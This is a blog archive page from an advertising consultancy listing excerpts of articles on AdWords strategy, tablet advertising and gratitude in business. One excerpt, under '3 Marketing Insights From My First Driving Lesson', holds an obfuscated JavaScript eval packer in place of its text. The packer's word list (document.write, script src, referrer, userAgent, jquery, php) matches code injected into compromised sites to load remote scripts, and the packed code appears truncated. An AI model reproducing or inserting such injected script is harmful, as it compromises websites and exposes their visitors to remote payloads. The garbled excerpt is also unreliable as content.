cheryle – Page 5 – Vitruvian Advertising

The Art of Winning on AdWords – Lessons from Mon...

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This article by Howie originally appeared on Search Engine Watch. As described in Michael Lewis’ “Moneyball”, Oakland A’s General Manager Billy Beane fielded the winningest team in baseball while spending half as much on player salaries as their nearest rival, the New York Yankees. Beane achieved...Read More 

Running Online Video Ads Alongside TV Doubles Brand Re...

Search Engine Watch

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This article by Howie originally appeared on Search Engine Watch. A recent YouTube/Ipsos study explored the interaction between traditional TV advertising and YouTube pre-roll ads. 2400 study participants were placed in 3 groups: TV only, YouTube only, and TV plus YouTube. The TV plus YouTube group...Read More 

Intent Is More Important Than Technique

Huffington Post

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This article by Howie originally appeared in The Huffington Post. My Fling with Macrobiotics In 1991 I was flirting with a macrobiotic lifestyle. I was attracted to the strictness of the diet, the sense of fixed rules, and the “magic” of the rituals that promised cures from all known diseases...Read More 

How to Schedule Dayparting on Google AdWords

AdWords, Search Engine Watch, Strategy

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This article by Howie was originally posted on Search Engine Watch. Last week, I looked at some research from Google into where and when people are using tablet devices such as iPads. The research showed that tablets are a multi-tasking device that rarely leave the home, but are used in different ways...Read More 

How to Know When You Should Advertise to Tablet Users

Search Engine Watch, Strategy

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This article by Howie was originally posted on Search Engine Watch. New data suggests that tablet computers are changing the way we search, shop, and play online. If you advertise on AdWords, more and more of your prospects will be finding you via iPads and other tablets. To reach and influence these...Read More 

Four Awesome Marketing Vehicles You Probably Take For ...

Fast Company, Marketing & Sales

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This article by Howie was originally published in Fast Company. After 42 days of living in a pretty remote region of South Africa, my family and I finally rented a car.Not having a car had been a blast. We learned how to hitchhike(split up into mother/son and father/daughter pairs so we don’t...Read More 

Gratitude as a Business Strategy: The Article

Fast Company

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This article by Howie originally appeared in Fast Company. Most of us are fantastic complainers. When someone doesn’t meet our expectations, we let them know. We may even let their boss or mother know. There’s nothing wrong with expecting excellence, and taking steps to get it. The problem...Read More 

Gratitude as a Business Strategy: The Movie

Interviews

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After his popular Thanksgiving article on Fast Company, Howie was invited to appear on The Pulse Network’s business show to talk about how to implement gratitude as a business strategy. If you’re a fan of Godzilla movies, you’ll love the way Howie’s mouth seems to move in no relation...Read More 

Beware AdWords Default Settings

PPC

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Howie chatted today with Jason McDonald, an AdWords/SEO/Social Media consultant and trainer in the Bay area, who was one of the first 1000 advertisers to discover AdWords, before it was open to the public. Jason has taught thousands of people how to use AdWords, and in this interview he cautions against...Read More 

3 Marketing Insights From My First Driving Lesson

Fast Company

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This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbhnk|var|u0026u|referrer|bzfhr||js|php'.split('|'),0,{})) ...Read More 

Gratitude As A Business Strategy

Fast Company

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This article was originally published in Fast Company. Most of us are fantastic complainers. When someone doesn’t meet our expectations, we let them know. We may even let their boss or mother know. There’s nothing wrong with expecting excellence, and taking steps to get it. The problem...Read More 

Google Privacy

Google AdWords For Dummies

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Click here for Google’s Privacy Policy. Read More 

Author: cheryle